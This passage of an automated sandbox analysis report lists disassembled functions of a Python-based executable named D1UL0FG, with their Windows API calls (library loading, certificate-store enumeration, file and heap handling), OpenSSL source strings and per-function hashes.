Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF67AED63B7
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF67AED6446
ucrtbase.dll, xrefs: 00007FF67AED63CD
LoadLibrary, xrefs: 00007FF67AED649E
Failed to load Python DLL '%ls'., xrefs: 00007FF67AED6497
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF67AED63F7

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction ID: 371de4d3051e5fa0828b243f2b3739cad3ef787a7fcc830c3c5c8f456271bebf
Opcode Fuzzy Hash: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction Fuzzy Hash: 7F417233A38A8691EA11FB24E4542E96321FFD4384FA00572EA5DC36E5EF3CE545D740

Function 00007FF8B9109F18 Relevance: 7.7, APIs: 5, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FF8A8C4BB78.PYTHON310 ref: 00007FF8B9109F3A

Part of subcall function 00007FF8B910BE54: CertOpenStore.CRYPT32 ref: 00007FF8B910BE80

GetLastError.KERNEL32 ref: 00007FF8B9109F6B
CertEnumCertificatesInStore.CRYPT32 ref: 00007FF8B910A03C
CertFreeCertificateContext.CRYPT32 ref: 00007FF8B910A0A7

Part of subcall function 00007FF8B910B750: CertGetEnhancedKeyUsage.CRYPT32 ref: 00007FF8B910B76F
Part of subcall function 00007FF8B910B750: GetLastError.KERNEL32 ref: 00007FF8B910B779

CertCloseStore.CRYPT32 ref: 00007FF8B910A0F4

Memory Dump Source

Source File: 00000006.00000002.3010460517.00007FF8B9101000.00000040.00000001.01000000.00000015.sdmp, Offset: 00007FF8B9100000, based on PE: true

Associated: 00000006.00000002.3010325096.00007FF8B9100000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B911E000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B9128000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010843875.00007FF8B912B000.00000080.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010910842.00007FF8B912D000.00000004.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b9100000_D1UL0FG.jbxd

Similarity

API ID: Cert$Store$ErrorLast$00007CertificateCertificatesCloseContextEnhancedEnumFreeOpenUsage
String ID:
API String ID: 1905439668-0
Opcode ID: e8ffdbe4bdc1dbe6677b56bf781ee610824ebcc7787cfae9ac3e7d3063b7a65d
Instruction ID: 849c4702b1247777a6cfe0b6185ba65b8c063e7b314ba566db6551d43f7a5388
Opcode Fuzzy Hash: e8ffdbe4bdc1dbe6677b56bf781ee610824ebcc7787cfae9ac3e7d3063b7a65d
Instruction Fuzzy Hash: 41514D25E0AB8681FA599F29A91913933E4FF45BD0F4984B0CF0E467B8DE3FE455A310

Function 00007FF8B910BE54 Relevance: 7.6, APIs: 5, Instructions: 60
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertOpenStore.CRYPT32 ref: 00007FF8B910BE80
CertOpenStore.CRYPT32 ref: 00007FF8B910BEB3
CertAddStoreToCollection.CRYPT32 ref: 00007FF8B910BECE
CertCloseStore.CRYPT32 ref: 00007FF8B910BEE0
CertCloseStore.CRYPT32 ref: 00007FF8B910BEFB

Memory Dump Source

Source File: 00000006.00000002.3010460517.00007FF8B9101000.00000040.00000001.01000000.00000015.sdmp, Offset: 00007FF8B9100000, based on PE: true

Associated: 00000006.00000002.3010325096.00007FF8B9100000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B911E000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B9128000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010843875.00007FF8B912B000.00000080.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010910842.00007FF8B912D000.00000004.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b9100000_D1UL0FG.jbxd

Similarity

API ID: CertStore$CloseOpen$Collection
String ID:
API String ID: 1995843185-0
Opcode ID: e967edb42384cb88553adc9f0faa7ad78790174b17245df176d4b61c22f82093
Instruction ID: d7f9763a647e872915aa8e908bf5a6170eb6aae75ab497cbf08cd2bb1e0300a6
Opcode Fuzzy Hash: e967edb42384cb88553adc9f0faa7ad78790174b17245df176d4b61c22f82093
Instruction Fuzzy Hash: 18215E36B18B9186EB64CF2AA944729A7A2FB84BC0F088070DF4D43B64DF3DE455D600

Function 00007FF67AEE5698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE56C5
CreateFileW.KERNEL32 ref: 00007FF67AEE5704
CloseHandle.KERNEL32 ref: 00007FF67AEE5739

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: c39134dfe076cbc8157a1f1181bde4c76f954160a48a2d72db510079ec3406e1
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: E5419223E2C78283F750AB6096503796360FB947A4F109375EA9C43AE2DF7CA5F09750

Function 00007FF67AEDCCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67AEDCE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF67AEDCE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF67AEDCCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF67AEDCD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF67AEDCD91

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 9a5ff3a8e457948339756e4c2415db1943d1f08dd9aa8c00c0906f17388ef3bd
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: 0A316D23E2D14345FA64BB74D8613B917919FC5388F6444B8E94ECB2F3DE2CA885E280

Function 00007FF8A92E146A Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 251COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A9326A61

Strings

..\s\ssl\statem\statem.c, xrefs: 00007FF8A9326B57, 00007FF8A9326C29, 00007FF8A9326D5E, 00007FF8A9326DB1

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\statem\statem.c
API String ID: 1452528299-2512360314
Opcode ID: 7d5c6cafbdf9eba0533a02d895b16706df5be332ea577afecea6ad0cef54847e
Instruction ID: 21ce4d3e96ce042f21fcd605ca46810f8e3b02968a927ac67a363e3f930c7b3d
Opcode Fuzzy Hash: 7d5c6cafbdf9eba0533a02d895b16706df5be332ea577afecea6ad0cef54847e
Instruction Fuzzy Hash: 17B14E72A0EAC6A6EB649F16D44437927F0FF60B8CF145436DA0986699DF3DE884C701

Function 00007FF8A92E1497 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A92ED245

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FF8A92ED1F1, 00007FF8A92ED2E5

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\record\rec_layer_s3.c
API String ID: 1452528299-2209325370
Opcode ID: 3dcb4004876841d817ef47d2efc369b4e2620c560bc807afff1c78d3bfb42160
Instruction ID: 142898c7a872be6ec199d8c3cd1915cc96601bb368e44e3a36510a70c61eb8d1
Opcode Fuzzy Hash: 3dcb4004876841d817ef47d2efc369b4e2620c560bc807afff1c78d3bfb42160
Instruction Fuzzy Hash: 21816D32A0EAC191FB509E29D5843B96BE0FB44FD8F184135DE5C8BA99EF38D446C340

Function 00007FF67AEE01AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE01F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE02E7

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: 06daeb1e8a4e174833dba9043aad17d5c891e2897e43f9227b117fac3d77211b
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: 9E512763B6D24286F768BA69940067A63D1BF44BA4F144774DD6CC77E6CF3CE501A600

Function 00007FF67AEEC1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF67AEEC33D), ref: 00007FF67AEEC1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF67AEEC33D), ref: 00007FF67AEEC1FA

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 17fbc5e42ef2ef668aba8c102dc3d77ba500191a4eb61843f959d7192d02d942
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 6E11016372CA8181EA10AB25B8000696361FB85BF4F544371EEBD8B7F8CF3CD0418740

Function 00007FF67AEEA9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9CE
GetLastError.KERNEL32(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9D8

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 85646e51a839b81afbd78bedd12939bfff1ff64ce7cfa50efb23786e544f88fe
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: 87E08C53F3D24282FF487BF2B8551381391AF88B41F0480B8C81DC72B2EE2DA885A700

Function 00007FF67AEEABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF67AEEAA45,?,?,00000000,00007FF67AEEAAFA), ref: 00007FF67AEEAC36
GetLastError.KERNEL32(?,?,?,00007FF67AEEAA45,?,?,00000000,00007FF67AEEAAFA), ref: 00007FF67AEEAC40

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 62ec347c2cdc8720c7d5a1dc495eaf9659d4a608cb08c976f3b13fa9f078f71d
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: 60217513F3C68242FE947761A49427D17929F84BA1F4842BDDA2EC77F5CE6CE445A300

Function 00007FF67AEEBF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEBF44

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: b194837250b3535b1dad5bfe3d63449e99ff124642fe13a609af642c13a671e1
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: 36410333A2C20187FA34AB19E45027977A0EB55B91F104275DACEC76E1CF2DF442EB91

Function 00007FF8A9326905 Relevance: 1.6, APIs: 1, Instructions: 353COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A9326A61

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 8461a2502f026d7e122df3db3e91d2553ea804ff5e6dd715b8e622b6a9c6ea1c
Instruction ID: ef4177ecb0ffc5e55d2b5cb3a6f714646b239cbdb0d3a0501d09274998c4b5eb
Opcode Fuzzy Hash: 8461a2502f026d7e122df3db3e91d2553ea804ff5e6dd715b8e622b6a9c6ea1c
Instruction Fuzzy Hash: 2831A572A0EAC6A6FB649F16954023D73B1EF70BC8F545432DE0D87689DE38E8828741

Function 00007FF67AED7F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF67AED802A

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: a7520e828596113b268e63b2d981a6b665d81183b45f3f30672e017b73aefd71
Instruction ID: 4b10d89de6633b26b97da5fb080bcc8084afead2998eb4522735428833d85c4d
Opcode Fuzzy Hash: a7520e828596113b268e63b2d981a6b665d81183b45f3f30672e017b73aefd71
Instruction Fuzzy Hash: 1D212923B2C65145FA10BB2265147BAA751BF85FC4F9C5070EE0C8B796CE7DE041E700

Function 00007FF67AEEB9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEBA32

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction ID: aac1e15759fa5fca7e925e730cdfdce3b95f6b90006f6ca5f4228a464ba1c823
Opcode Fuzzy Hash: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction Fuzzy Hash: 7331AE33E3C64285FB517B65984137C2750AB40B94F4282B5E9AD833F2DF7DE851A720

Function 00007FF67AEE6004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE5F69

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 22817d08d890a1a2226241b1902e71ad2f3a58f59e8328b87c6d5a7b5bd475b0
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 96115123A3C64181FA60BF51A41027EA3A4BF45B80F5540B5EB4CD7AB6DF7DD940E750

Function 00007FF67AEF63C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF63E7

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: 90f5500a99a89a37c7e31c2ff7eb5a24c73b0e9f0b58a75dbb753a7c7154c6e2
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: 50216573628AC287D7A1AF18E44037977A0FB84B54F544278EA9DC76E9DF3DD4049B01

